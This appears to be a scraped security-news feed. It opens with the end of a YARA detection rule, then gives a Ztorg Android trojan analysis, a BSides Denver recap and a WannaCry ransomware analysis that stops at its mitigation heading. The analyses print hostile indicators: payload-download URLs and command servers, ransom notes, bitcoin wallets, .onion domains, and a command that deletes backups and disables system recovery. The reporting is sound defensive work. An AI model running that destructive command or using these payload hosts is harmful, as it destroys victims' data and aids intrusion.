00 00 00 00 2E 00 61 00 76 00 69 00 00 00 00 00
2E 00 6D 00 6F 00 76 00 00 00 00 00 2E 00 6D 00
70 00 34 00 00 00 00 00 2E 00 33 00 67 00 70 00
00 00 00 00 2E 00 6D 00 6B 00 76 00 00 00 00 00
2E 00 33 00 67 00 32 00 00 00 00 00 2E 00 66 00
6C 00 76 00 00 00 00 00 2E 00 77 00 6D 00 61 00
00 00 00 00 2E 00 6D 00 69 00 64 00 00 00 00 00
2E 00 6D 00 33 00 75 00 00 00 00 00 2E 00 6D 00
34 00 75 00 00 00 00 00 2E 00 64 00 6A 00 76 00
75 00 00 00 2E 00 73 00 76 00 67 00 00 00 00 00
2E 00 61 00 69 00 00 00 2E 00 70 00 73 00 64 00
00 00 00 00 2E 00 6E 00 65 00 66 00 00 00 00 00
2E 00 74 00 69 00 66 00 66 00 00 00 2E 00 74 00
69 00 66 00 00 00 00 00 2E 00 63 00 67 00 6D 00
00 00 00 00 2E 00 72 00 61 00 77 00 00 00 00 00
2E 00 67 00 69 00 66 00 00 00 00 00 2E 00 70 00
}

condition:

((uint16(0) == 0x5A4D)) and (filesize < 15000000) and any of them }

Ztorg: money for infecting your smartphone

Malware Alerts - Mon, 05/15/2017 - 04:57

This research started when we discovered an infected Pokémon GO guide in Google Play. It was there for several weeks and was downloaded more than 500,000 times. We detected the malware as Trojan.AndroidOS.Ztorg.ad. After some searching, I found some other similar infected apps that were being distributed from the Google Play Store. The first of them, called Privacy Lock, was uploaded to Google Play on 15 December 2016. It was one of the most popular Ztorg modifications, with more than 1 million installations.

After I started tracking these infected apps, two things struck me – how rapidly they became popular and the comments in the user review sections.

Popularity

These infected apps quickly became very popular, gaining thousands of new users each day!

For example, com.fluent.led.compass had 10,000–50,000 installations the day I found and reported it to Google.

However, it still wasn’t deleted from Google Play the next day and the number of installations increased tenfold to 100,000–500,000. It means there were at least 50,000 new infected users in the space of just one day.

Comments

There were lots of comments saying that people downloaded these apps for credits/coins/etc.

In some of these comments the users mentioned other apps – Appcoins, Advertapp, etc.

That’s where this latest research work started.

Advertising Apps that pay users

The app mentioned most in the comments was Appcoins, so I installed it. After that, the app prompted me to install some other apps, including one that was malicious, for $0.05.

To be honest, I was surprised that only one was malicious – all the other apps were clean.

The funny thing is that they check for root rights on the device and don’t pay those that have them. And the first thing that Ztorg did on the device after infection started was to get superuser rights.

I contacted the Appcoins developers to try and find out where this malicious advertising offer came from, but they deleted the offer and answered me by saying there was no malware and that they had done nothing wrong.

Then I analyzed the apps installed by infected users and made a list of the most popular ones that paid users to install software:

mobi.appcoins

https://play.google.com/store/apps/details?id=mobi.appcoins

com.smarter.superpocket

https://play.google.com/store/apps/details?id=com.smarter.superpocket

com.moneyreward.fun

https://play.google.com/store/apps/details?id=com.moneyreward.fun

And of course they offered malware too:

All these offered users 0.04-0.05 USD for installing an app infected with Ztorg from Google Play.

Campaigns

So I decided to take a closer look at these offers and the dumped traffic for these apps.

A typical session in which an advertising app turned into a malicious one was as follows:

  1. App receives offers, including malicious ones, from its server (for example, moneyrewardfun[.]com). Malicious offers are sent from well-known ad services (usually supersonicads.com and aptrk.com).

  2. After a few redirections from ad service domains (in one case there were 27 redirections) the app goes to global.ymtracking.com or avazutracking.net. These URLs are related to the ads too.

  3. Then it redirects to track.iappzone.net.

  4. And the final URL that leads to the Google Play Store was app.adjust.com.

All the offers that I was able to dump had track.iappzone.net and app.adjust.com.

adjust.com is a well-known “business intelligence platform”; the URLs that are used in malicious campaigns look like this:

https://app.adjust.com/4f1lza?redirect=https://play.google.com/store/apps/details?id=com.game.puzzle.green&install_callback=http://track.iappzone.net

By analyzing these URLs we can identify infected apps on Google Play.

Malicious server

URLs from iappzone.net look like this:

http://track.iappzone.net/click/click?offer_id=3479&aff_id=3475&campaign=115523_201|1002009&install_callback=http://track.supersonicads.com/api/v1/processCommissionsCallback.php?advertiserId=85671&password=540bafdb&dynamicParameter=dp5601581629793224906

This URL structure (offer_id=..&aff_id=..&campaign=..) is related to the OffersLook tracking system. It contains many interesting things, like offer id, affiliate id. But it turns out that cybercriminals use different values for them, making these parameters unusable for us. Except one – install_callback. This parameter contains the name of the ad service.

While searching for iappzone.net I was able to find some APK files that contained this URL. All of those files are detected by Kaspersky Lab products as Ztorg malware. The interesting thing was that iappzone.net used the IP 52.74.22.232. The same IP was used by aedxdrcb.com, which was mentioned in CheckPoint’s gooligan report. A few weeks after that report was made public, iappzone.net (which wasn’t mentioned in the report) was moved to a new IP – 139.162.57.41.

Ad modules

Luckily I was able to find iappzone.net not only in the APK files but also in network traffic from clean apps. All these apps had an advertising module – Batmobi or Mobvista in most cases. Network traffic from these ad modules looked similar to the network traffic from the apps that paid users to install promoted apps.

Here is an example of an app with a Batmobi ad module. The module received a JSON file with offers from their server api2.batmobil.net.

The user sees a list of advertised apps:

After the user clicks on the ads, they are redirected to the Google Play Store.

In this case, the redirects look like this:

api2.batmobil.net -> global.ymtracking.com->tracking.acekoala.com -> click.apprevolve.com ->track.iappzone.net ->app.adjust.com -> play.google.com

After analyzing ad campaigns containing iappzone.net, I was able to find almost 100 infected apps being promoted on Google Play.

The other interesting aspect of these campaigns was that their URLs contained the install_callback parameter that I mentioned earlier. Turns out the cybercriminals only used four ad networks.

Ad sources

track.iappzone.net callbacks

Yeahmobi (global.ymtracking.com) 41% Mobvista (next.mobvista.com) 34% Avazu (postback.apx.avazutracking.net) 18% Supersonicads (track.supersonicads.com) 7%

However, this doesn’t mean that malware was only being distributed through these four networks. These ad networks are selling their ads to a wide range of advertising companies. In my research, I saw some malicious ads coming from other advertising networks like DuAd or Batmobi, but after a few redirects these ads were always pointing to one of the four advertising networks listed above.

Furthermore, I tracked several malicious ad campaigns that looked like this:

Batmobi -> Yeahmobi-> SupersonicAds

which means that these networks also redistribute ads to each other.

I wasn’t able to find any other ad networks in the install_callback parameter until the end of March 2017.

Other sources

During my research I found some infected apps that were not promoted by these advertising networks. When I looked at their detection paths I found that there were several patterns to them. Most of the paths where these apps were detected (except the installation path /data/app) were as follows:

[sdcard]/.android/ceroa/play/

[sdcard]/.nativedroid/download/

[sdcard]/.sysAndroid/download/

[sdcard]/.googleplay_download/

[sdcard]/.walkfree/apks/583737491/

[sdcard]/Android/data/TF47HV2VFKD9/

[sdcard]/Android/Data/snowfoxcr/

[sdcard]/DownloadProvider/download/

I analyzed the apps using these paths and discovered that all of them are already detected by Kaspersky Lab products as adware or malware. However, the apps downloaded to these folders are not all malicious – most of them are clean.

Folder’s name Type Detection %* DownloadProvider Malware 81% TF47HV2VFKD9 Malware 56% snowfoxcr AdWare 51% nativedroid Malware 48% .walkfree AdWare 33% ceroa AdWare 20% sysAndroid Malware 16% .googleplay_download Malware 15%

* Malicious apps that were downloaded to a specific folder as a percentage of all apps in that folder.

Infected apps Similar apps

All the infected apps that I analyzed surprised me in that they don’t look like they were patched with malware code. In many other cases, cybercriminals just add malicious code to clean apps, but not in this case. Looks like these apps were created especially for distributing malware.

Publishers from Google Play

Some of the publishers’ emails from Google Play:

com.equalizer.goods.listener trantienfariwuay@gmail.com com.ele.wall.papers nguyenduongsizang@gmail.com com.game.free.plus.prefect liemproduction08@gmail.com com.green.compass.star longhahoanghuong@gmail.com com.voice.equalizer.musicssss baoanstudio@gmail.com com.amusing.notes.done trunggapin@gmail.com com.booster.ram.app.master.clean lakonmesminh@gmail.com com.game.puzzle.green zentinlong@gmail.com com.listen.music.pedometer tramhuyenthoai9a@gmail.com com.live.paper.watch.analog nguyenthokanuvuong@gmail.com

When I started to search for them, I found that most of the emails are related to Vietnam.

For example:

  1. trantienfariwuay -> tran tien [fariwuay] – Vietnamese singer

  2. liemproduction08 -> liem production [08] – Thuat Liem Production, company from Ho Chi Minh City, Vietnam

  3. nguyenthokanuvuong -> nguyen [thokanu] vuong – Vietnamese version of Chinese name Wang Yuan

Malicious modules

Almost all of the infected apps from Google Play contain the same functionality – to download and execute the main module. During this research, I found three types of modules with this functionality.

Dalvik

Every infected app from Google Play with this type of malicious module was protected by the packer. I will describe the app with the package name com.equalizer.goods.listener. It was packed using the Qihoo packer. This app has many different classes and only a few of them are related to the malicious module. Malicious code will be triggered by the PACKAGE_ADDED and PACKAGE_REMOVED system events. It means that malicious code only starts executing after the user installs/updates/removes an app.

As a first step, the malicious module will check if it’s running on a virtual machine, emulator or sandbox. To do so, it will check several dozen files that exist on different machines and several dozen values for different system properties. If this check is passed, the Trojan will start a new thread.

In this new thread the Trojan will wait a random amount of time, between an hour and an hour and a half. After waiting it will make a GET HTTP request to the C&C (em.kmnsof.com/only) and, as a result, the Trojan will receive a JSON file encrypted with DES. This JSON should contain a URL from which a file can be downloaded. The file is an ‘xorred’ JAR that contains the malicious classes.dex – the main module.

Native

Since October 2016 I’ve reported lots of apps with this malicious module to Google, so they were able to improve their detection system and catch almost all of them. This meant the cybercriminals had to bypass this detection. In the beginning they changed some methods in the code and used commercial packers. But in February 2017 they rewrote the entire code, moving all functionality to the ELF (native, .so) library.

Example: com.unit.conversion.use (MD5: 92B02BB80C1BC6A3CECC321478618D43)

The malicious code is triggered after app execution starts from the onCreate method.

The malicious code in the infected classes.dex is simple – it starts a new thread that loads the MyGame library and it has two methods for dealing with sandbox detections, which will be executed from the library.

In this version, the delays are much smaller than in the previous one – it waits only 82 seconds before execution.

After starting, the MyGame library will check if it’s running in a sandbox by executing the two methods from classes.dex. One will try to register the receiver for the BATTERY_CHANGED action and check if it’s correct. Another method will try to get application info about the com.android.vending package (Google Play Store) with the MATCH_UNINSTALLED_PACKAGES flag. If both of these methods return “false”, the malicious library will execute a GET request to the command server.

It receives: “BEgHSARIB0oESg4SEhZcSUkCCRFICAUSHwoLEhZIBQkLSQ4fSQ4fVlZVSQEWVlZVSAcWDUpeVg==”

The library will decode this answer and xor it with a 0x66 key.

Result:

b.a.b.a,b,http://dow.nctylmtp.com/hy/hy003/gp003.apk,80

g_class_name = b.a.b.a

g_method_name = b

g_url = http://dow.nctylmtp.com/hy/hy003/gp003.apk

g_key = 80

The .apk file available at g_url will be downloaded into the cache folder of the app folder (/data/data/<package_name>/cache). The library will xor it with g_key and load it using a ClassLoad method from the DexClassLoader class.

As we can see, the cybercriminals changed a lot in the malicious code, and replaced the Java code with C code. But the functionality remains the same – connect to the C&C, download and execute the main module.

Detection bypassing

Once I was able to receive the package IDs from these campaigns, I installed the infected app from Google Play on my test device and… nothing happened. After some investigating, I found that the cybercriminals only return a malicious payload to users that install apps via ads. However, some of the other infected apps started to infect my test phone when installed directly from Google Play – without clicking on any ads.

Dropper

In April 2017 the cybercriminals changed their Ztorg code again. In this third type of malicious module, the cybercriminals moved all the functionality back to classes.dex. The main difference with the previous version is that it’s no longer a Trojan-Downloader. It doesn’t download the main module from a malicious server; instead it contains an encrypted module in the Assets folder of the installation package. The file called info.data is xored with 0x12 and then loaded using the ClassLoad method.

Payload (main module)

In all the attacks that I analyzed the main module had the same functionality. I’ll describe one of the most recent – 2dac26e83b8be84b4a453664f68173dd. It was downloaded by the com.unit.conversion.use app using the malicious MyGame library.

This module is downloaded by the infection module and loaded using the ClassLoad method. The main purpose of the module is to gain root rights and install other modules. It does this by downloading or dropping some files.

Some files can only be dropped from this module; there are no URLs for them.

Some of the URLs with the down.118pai.com domain didn’t work at the time of this research. All files that have these URLs can be dropped. All files that have URLs only and cannot be dropped have URLs with the domains sololauncher.mobi and freeplayweb.com, which were accessible at the time of this research.

In one of the previous versions of the main module, dated September 2016, all the URLs had the down.118pai.com domain and were available at that time.

Some of the dropped/downloaded malicious files will be added to the /system/etc/install-recovery.sh file. It means that these files will remain on the device even after a reset to factory settings.

All files that are dropped and downloaded by this module can be divided into a few groups:

Clean files, tools File name Tool name MD5 data/files/.zog/.a chattr 9CAE8D66BE1103D737676DBE713B4E52 data/files/.zog/.a chattr 1E42373FA7B9339C6C0A2472665BF9D4 data/files/.zog/supolicy supolicy cdceafedf1b3c1d106567d9ff969327a data/files/.zog/busybox busybox 3bc5b9386c192d77658d08fe7b8e704f data/files/.zog/.j Patched su 8fb60d98bef73726d4794c2fc28cd900 Exploits, exploit packs, exploit droppers File Name Name MD5 Detection name data/files/.Ag/Agcr Agcr32 D484A52CFB0416CE5294BF1AC9346B96 Exploit.AndroidOS.Lotoor.bv data/files/.Ag/Agcr Agcr64 B111DD21FD4FCEFDC8268327801E55CE Exploit.AndroidOS.Lotoor.bv data/files/.zog/.ag/bx Bx 70EBFA94C958E6E6A7C6B8CD61B71054 Exploit.AndroidOS.Lotoor.bu data/files/.zog/.ag/cx cx 892E033DA182C06794F2B295377B8A65 Exploit.AndroidOS.Lotoor.bu data/files/.zog/exp exp 6E17234C57308012911C077A376538DC Exploit.AndroidOS.Lotoor.bz data/files/.zog/.ag/nn.zip maink.apk/boy ab9202ccfdd31e685475ba895d1af351 script data/files/.zog/.ag/nn.zip maink.apk/bx 70ebfa94c958e6e6a7c6b8cd61b71054 Exploit.AndroidOS.Lotoor.bu data/files/.zog/.ag/ym ym32 F973BAA67B170AB52C4DF54623ECF8B3 Exploit.AndroidOS.Lotoor.bu data/files/.zog/.ag/ym ym64 807A6CF3857012E41858A5EA8FBA1BEF Exploit.AndroidOS.Lotoor.bu data/files/.zog/.aa mainp.apk/r1 c27e59f0f943cf7cc2020bda7efb442a Exploit.AndroidOS.Lotoor.bh data/files/.zog/.aa mainp.apk/r2 368df668d4b62bdbb73218dd1f470828 Exploit.AndroidOS.Lotoor.bi data/files/.zog/.aa mainp.apk/r3 fb8449d1142a796ab1c8c1b85c7f6569 Exploit.AndroidOS.Lotoor.bh data/files/.zog/.aa mainp.apk/r4 04dd488783dffcfd0fa9bbac00dbf0f9 Exploit.Linux.Enoket.a data/files/.zog/.ad mainmtk.apk b4b805dc90fa06c9c7e7cce3ab6cd252 Exploit.AndroidOS.Lotoor.bi data/files/.zog/.ag/np np 1740ae0dc078ff44d9f229dccbd9bf61 Exploit.Linux.Enoket.a

Most of these files will be downloaded by the Trojan, but some of them can only be dropped from the Trojan body. However, most of the downloaded files are the same as they were seven months ago in September 2016.

Native (ELF) malicious modules File Name MD5 Path after infection Detection name data/files/.zog/.am b30c193f98e83b7e6f086bba1e17a9ea /system/xbin/.gasys Backdoor.AndroidOS.Ztorg.j data/files/.zog/.an 41ab20131f53cbb6a0fb69a143f8bc66 /system/lib/libgstdsys.so Backdoor.AndroidOS.Ztorg.j data/files/.zog/.b ae822aed22666318c4e01c8bd88ca686 /system/xbin/.gap.a Backdoor.AndroidOS.Ztorg.c data/files/.zog/.k 5289027ca9d4a4ed4663db445d8fc450 /system/bin/debuggerd Backdoor.AndroidOS.Ztorg.c data/files/.zog/.m 5af47875666c9207110c17bc8627ce30 /system/bin/ddexe script data/files/.zog/.c d335ac148f6414f0ce9c30ac63c20482 /system/xbin/.gap Backdoor.AndroidOS.Ztorg.c

All of these files can only be dropped from the Trojan’s body. They are not downloaded.

Malicious apps File Name Name MD5 Path after infection Detection name data/files/.zog/.l mains.apk 87030ae799e72994287c5b37f6675667 /system/priv-app/dpl.apk Trojan-Dropper.AndroidOS.Agent.cv data/files/.zog/.o mains2.apk 93016a4a82205910df6d5f629a4466e9 /system/priv-app/.gmq.apk Trojan.AndroidOS.Boogr.gsh data/files/.zog/.n mainm.apk 6aad1baf679b42adb55962cdb55fb28c /system/priv-app/.gma.apk Backdoor.AndroidOS.Ztorg.a data/files/.zog/.al .al 7d7247b4a2a0e73aaf8cc1b5c6c08221 /system/priv-app/.gmtgp.apk Trojan.AndroidOS.Hiddad.c .gmtgp.apk (7d7247b4a2a0e73aaf8cc1b5c6c08221)

This app is detected as Trojan.AndroidOS.Hiddad.c. It downloads (from the C&C http://api.ddongfg.com/pilot/api/) an additional encrypted module, decrypts and loads it. In my case it downloads Trojan-Clicker.AndroidOS.Gopl.a (af9a75232c83e251dd6ef9cb32c7e2ca).

Its C&C is http://g.ieuik.com/pilot/api/; additional domains are g.uikal.com and api.ddongfg.com.

The Trojan uses accessibility services to install (or even buy) apps from the Google Play Store.

It also downloads apps into the .googleplay_download directory on the SD card and installs them using accessibility services to click buttons. The folder .googleplay_download is one of the sources used to spread the Ztorg Trojan. It can click buttons that use one of 13 languages – English, Spanish, Arabic, Hindi, Indonesian, French, Persian, Russian, Portuguese, Thai, Vietnamese, Turkish and Malay.

dpl.apk (87030AE799E72994287C5B37F6675667)

This module contains the same methods to detect emulators, sandbox and virtual machines as in the original infected module.

It downloads an encrypted file from the C&C api.jigoolng.com/only/gp0303/12.html into the file /.androidsgqmdata/isgqm.jar. After decryption, the Trojan loads this file.

The main purpose of dpl.apk is to download and install apps. It receives commands from the following C&Cs:

  • log.agoall.com/gkview/info/,
  • active.agoall.com/gnview/api/,
  • newuser.agoall.com/oversea_adjust_and_download_write_redis/api/download/,
  • api.agoall.com/only/

The module downloads them into the DownloadProvider directory on the SD card. This folder is one of the sources used to distribute the Ztorg Trojan.

In my case, it downloaded five malicious APKs; four of them were installed and listed in the Installed apps section.

.gma.apk (6AAD1BAF679B42ADB55962CDB55FB28C)

This Trojan tries to download the additional isgqm.jar module with the main functionality in the same way as the other modules. Unfortunately, its C&Cs (a.gqkao.com/igq/api/, d.oddkc.com/igq/api/, 52.74.240.149/igq/api, api.jigoolng.com/only/) didn’t return any commands, so I don’t know the main purpose of this app.

This app can modify /system/etc/install-recovery.sh, and download files to the /.androidgp/ folder on the SD card. These files will be installed in the system folders (/system/app/ or /system/priv-app/).

I assume this Trojan is needed to update other modules.

.gmq.apk (93016a4a82205910df6d5f629a4466e9)

This Trojan wasn’t able to download its additional module isgq.jar from the C&Cs (a.apaol.com/igq/api, c.oddkc.com/igq/api, 52.74.240.149/igq/api).

Installed apps

The following apps were silently downloaded and installed on the device after infection. All of them have some well-known ad services.

Package Name Detection Md5 Ad modules co.uhi.tadsafa Trojan-Downloader.AndroidOS.Rootnik.g d1ffea3d2157ede4dcc029fb2e1c3607 mobvista, batmobi com.friend.booster Trojan.AndroidOS.Ztorg.bo 5c99758c8622339bffddb83af39b8685 mobvista, batmobi sq.bnq.gkq Trojan-Downloader.AndroidOS.Rootnik.g 10272af66ab81ec359125628839986ae mobvista, batmobi main.ele.com.blood Trojan.AndroidOS.Ztorg.bo 8572aec28df317cd840d837e73b2554a mobvista

They also have malicious modules that start downloading ads and apps when commanded by their C&C.

But using clean advertising networks like Mobvista and Batmobi creates an ad recursion, because these ads were used to distribute the original infected app.

A few new folders appear on the SD card after a successful infection. Among them:

  • .googleplay_download
  • .nativedroid
  • .sysAndroid
  • DownloadProvider

All of these folders were used by some of the malware to spread the initial Ztorg infection and were used after infection to distribute other apps – some of them malicious.

Other Trojans

Despite the fact that almost every Trojan from Google Play found during this research had one of the three malicious modules described in this research, there were also a few other Trojans.

One of them, called Money Converter (com.countrys.converter.currency, 55366B684CE62AB7954C74269868CD91), had been installed more than 10,000 times from Google Play. Its purpose is similar to that of the .gmtgp.apk module – it uses Accessibility Services to install apps from Google Play. Therefore, the Trojan can silently install and run promoted apps without any interaction with the user, even on updated devices where it cannot gain root rights.

It used the same command and control servers as .gmtgp.apk.

Conclusion

During the research period I found that Trojan.AndroidOS.Ztorg was uploaded to Google Play Store almost 100 times as different apps. The first of them was called Privacy Lock, had more than 1 million installations and was uploaded in mid-December 2015. Every month after I started tracking this Trojan in September 2016 I was able to find and report at least three new infected apps on Google Play. The most recent apps that I found were uploaded in April 2017, but I’m sure there will be more soon.

All of these apps were popular. Furthermore, their popularity grew very fast, with tens of thousands of new users sometimes being infected each day.

I found out that these Trojans were actively distributed through advertising networks. All these malicious campaigns contained the same URL, which allows me to easily track down any new infected apps.

I was surprised that these Trojans were distributed through apps that were paying users for installing promoted apps. It turned out that some users got paid a few US cents for infecting their device, though they didn’t know it was being infected.

Another interesting thing about the distribution of this Trojan is that after infection it used some of the advertising networks to show infected users ads about installing promoted apps. It creates a kind of ad recursion on infected devices – they become infected because of a malicious ad from an advertising network and after infection they see ads from the same advertising network because of the Trojan and its modules.

Cybercriminals were able to publish infected apps on Google Play because of the numerous techniques they used to bypass detection. They continued to develop and use new features in their Trojans all the time. This Trojan has modular architecture and it uses several modules with different functionality and each of them can be updated via the Internet. During infection Ztorg uses several local root exploit packs to gain root rights on a device. Using these rights allows the Trojan to achieve persistence on the device and deliver ads more aggressively.

BSides Denver 2017

Malware Alerts - Sat, 05/13/2017 - 17:38

Everyone loves a decent security conference, and BSides Denver provides one with space to breathe. Folks in sunny Colorado looking for a fine local gathering found talks on advanced social engineering, APT herding, securing smart cities and more.

Even though BSides got its start as an “open source” event taking its contributors from rejected Black Hat talks, this isn’t the island of misfit toys. Quality content is delivered at all of them. Here is Mandiant’s Hunter Hardman talking advanced social engineering techniques he tends to shun, opting for email available and helpful soft Marketing and HR targets. Discussion afterwards broke out about the value of breakout news stories during red team projects, like the current political environment’s effect on employee healthcare plans in the US.

Kyle Chambers from municpal energy provider Austin Energy presented ideas and thoughts on smart city implementations, audits, smart meters and data collection, and real world integration experiences.

Considering the issues with IoT implementations and the immaturity of development cycles in the IoT space, along with the true nature of the risk involved, it’s a particularly alarming topic. And it’s great to see it being carefully discussed by organizations like Austin Energy.

Hope to see you at BSides Denver 2018!

WannaCry ransomware used in widespread attacks all over the world

Malware Alerts - Fri, 05/12/2017 - 13:30

Earlier today, our products detected and successfully blocked a large number of ransomware attacks around the world. In these attacks, data is encrypted with the extension “.WCRY” added to the filenames.

Our analysis indicates the attack, dubbed “WannaCry”, is initiated through an SMBv2 remote code execution in Microsoft Windows. This exploit (codenamed “EternalBlue”) has been made available on the internet through the Shadowbrokers dump on April 14th, 2017 and patched by Microsoft on March 14.

Unfortunately, it appears that many organizations have not yet installed the patch.

Source: https://support.kaspersky.com/shadowbrokers

A few hours ago, Spain’s Computer Emergency Response Team CCN-CERT, posted an alert on their site about a massive ransomware attack affecting several Spanish organizations. The alert recommends the installation of updates in the Microsoft March 2017 Security Bulletin as a means of stopping the spread of the attack.

The National Health Service (NHS) in the U.K. also issued an alert and confirmed infections at 16 medical institutions. We have confirmed additional infections in several additional countries, including Russia, Ukraine, and India.

It’s important to understand that while unpatched Windows computers exposing their SMB services can be remotely attacked with the “EternalBlue” exploit and infected by the WannaCry ransomware, the lack of existence of this vulnerability doesn’t really prevent the ransomware component from working. Nevertheless, the presence of this vulnerability appears to be the most significant factor that caused the outbreak.

CCN-CERT alert (in Spanish)

Analysis of the attack

Currently, we have recorded more than 45,000 attacks of the WannaCry ransomware in 74 countries around the world, mostly in Russia. It’s important to note that our visibility may be limited and incomplete and the range of targets and victims is likely much, much higher.

Geographical target distribution according to our telemetry for the first few hours of the attack

The malware used in the attacks encrypts the files and also drops and executes a decryptor tool. The request for $600 in Bitcoin is displayed along with the wallet. It’s interesting that the initial request in this sample is for $600 USD, as the first five payments to that wallet is approximately $300 USD. It suggests that the group is increasing the ransom demands.

The tool was designed to address users of multiple countries, with translated messages in different languages.

Language list that the malware supports

Note that the “payment will be raised” after a specific countdown, along with another display raising urgency to pay up, threatening that the user will completely lose their files after the set timeout. Not all ransomware provides this timer countdown.

To make sure that the user doesn’t miss the warning, the tool changes the user’s wallpaper with instructions on how to find the decryptor tool dropped by the malware.

An image used to replace user’s wallpaper

Malware samples contain no reference to any specific culture or codepage other than universal English and Latin codepage CP1252. The files contain version info stolen from random Microsoft Windows 7 system tools:

Properties of malware files used by WannaCry

For convenient bitcoin payments, the malware directs to a page with a QR code at btcfrog, which links to their main bitcoin wallet 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94. Image metadata does not provide any additional info:

One of the Bitcoin wallets used by the attackers: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

One of the attacker wallets received 0.88 BTC during the last hours

Another Bitcoin wallets included in the attackers’ “readme.txt” from the samples are:
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn – 0.32 BTC

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw – 0.16 BTC
1QAc9S5EmycqjzzWDc1yiWzr9jJLC8sLiY

For command and control, the malware extracts and uses Tor service executable with all necessary dependencies to access the Tor network:

A list of dropped files related to Tor service

In terms of targeted files, the ransomware encrypts files with the following extensions:

.der, .pfx, .key, .crt, .csr, .p12, .pem, .odt, .ott, .sxw, .stw, .uot, .3ds, .max, .3dm, .ods, .ots, .sxc, .stc, .dif, .slk, .wb2, .odp, .otp, .sxd, .std, .uop, .odg, .otg, .sxm, .mml, .lay, .lay6, .asc, .sqlite3, .sqlitedb, .sql, .accdb, .mdb, .dbf, .odb, .frm, .myd, .myi, .ibd, .mdf, .ldf, .sln, .suo, .cpp, .pas, .asm, .cmd, .bat, .ps1, .vbs, .dip, .dch, .sch, .brd, .jsp, .php, .asp, .java, .jar, .class, .mp3, .wav, .swf, .fla, .wmv, .mpg, .vob, .mpeg, .asf, .avi, .mov, .mp4, .3gp, .mkv, .3g2, .flv, .wma, .mid, .m3u, .m4u, .djvu, .svg, .psd, .nef, .tiff, .tif, .cgm, .raw, .gif, .png, .bmp, .jpg, .jpeg, .vcd, .iso, .backup, .zip, .rar, .tgz, .tar, .bak, .tbk, .bz2, .PAQ, .ARC, .aes, .gpg, .vmx, .vmdk, .vdi, .sldm, .sldx, .sti, .sxi, .602, .hwp, .snt, .onetoc2, .dwg, .pdf, .wk1, .wks, .123, .rtf, .csv, .txt, .vsdx, .vsd, .edb, .eml, .msg, .ost, .pst, .potm, .potx, .ppam, .ppsx, .ppsm, .pps, .pot, .pptm, .pptx, .ppt, .xltm, .xltx, .xlc, .xlm, .xlt, .xlw, .xlsb, .xlsm, .xlsx, .xls, .dotx, .dotm, .dot, .docm, .docb, .docx, .doc

The file extensions that the malware is targeting contain certain clusters of formats including:

  1. Commonly used office file extensions (.ppt, .doc, .docx, .xlsx, .sxi).
  2. Less common and nation-specific office formats (.sxw, .odt, .hwp).
  3. Archives, media files (.zip, .rar, .tar, .bz2, .mp4, .mkv)
  4. Emails and email databases (.eml, .msg, .ost, .pst, .edb).
  5. Database files (.sql, .accdb, .mdb, .dbf, .odb, .myd).
  6. Developers’ sourcecode and project files (.php, .java, .cpp, .pas, .asm).
  7. Encryption keys and certificates (.key, .pfx, .pem, .p12, .csr, .gpg, .aes).
  8. Graphic designers, artists and photographers files (.vsd, .odg, .raw, .nef, .svg, .psd).
  9. Virtual machine files (.vmx, .vmdk, .vdi).

The WannaCry dropper drops multiple “user manuals” on different languages:

Bulgarian, Chinese (simplified), Chinese (traditional), Croatian, Czech, Danish, Dutch, English, Filipino, Finnish, French, German, Greek, Indonesian, Italian, Japanese, Korean, Latvian, Norwegian, Polish, Portuguese, Romanian, Russian, Slovak, Spanish, Swedish, Turkish, Vietnamese

The example of a “user manual” in English:

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without our decryption service.

Can I Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.
You can decrypt some of your files for free. Try now by clicking .
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn't pay in 6 months.

How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click .
Please check the current price of Bitcoin and buy some bitcoins. For more information, click .
And send the correct amount to the address specified in this window.
After your payment, click . Best time to check: 9:00am - 11:00am GMT from Monday to Friday.
Once the payment is checked, you can start decrypting your files immediately.

Contact
If you need our assistance, send a message by clicking .

We strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If your anti-virus gets
updated and removes this software automatically, it will not be able to recover your files even if you pay!

It also drops batch and VBS script files, and a “readme” (contents are provided in the appendix).

Just in case the user closed out the bright red dialog box, or doesn’t understand it, the attackers drop a text file to disk with further instruction. An example of their “readme” dropped to disk as “@Please_Read_Me@.txt” to many directories on the victim host. Note that the English written here is done well, with the exception of “How can I trust?”. To date, only two transactions appear to have been made with this 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn bitcoin address for almost $300:

Q: What's wrong with my files?

A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted.
If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!

Q: What do I do?

A: First, you need to pay service fees for the decryption.
Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software.
Run and follow the instructions! (You may need to disable your antivirus for a while.)

Q: How can I trust?

A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.

* If you need our assistance, send a message by clicking on the decryptor window.

Once started it immediately spawns several processes to change file permissions and communicate with tor hidden c2 servers:

  • attrib +h .
  • icacls . /grant Everyone:F /T /C /Q
  • C:\Users\xxx\AppData\Local\Temp\taskdl.exe
  • @WanaDecryptor@.exe fi
  • 300921484251324.bat
  • C:\Users\xxx\AppData\Local\Temp\taskdl.exe
  • C:\Users\xxx\AppData\Local\Temp\taskdl.exe

The malware creates mutex “Global\MsWinZonesCacheCounterMutexA” and runs the command:

cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

This results in an UAC popup that user may notice.

UAC popup to disable Volume Shadow Service (System Restore)

The malware use TOR hidden services for command and control. The list of .onion domains inside is as following:

  • gx7ekbenv2riucmf.onion
  • 57g7spgrzlojinas.onion
  • Xxlvbrloxvriy2c5.onion
  • 76jdd2ir2embyv47.onion
  • cwwnhwhlz52maqm7.onion
  • sqjolphimrr7jqw6.onion
Mitigation and detection information

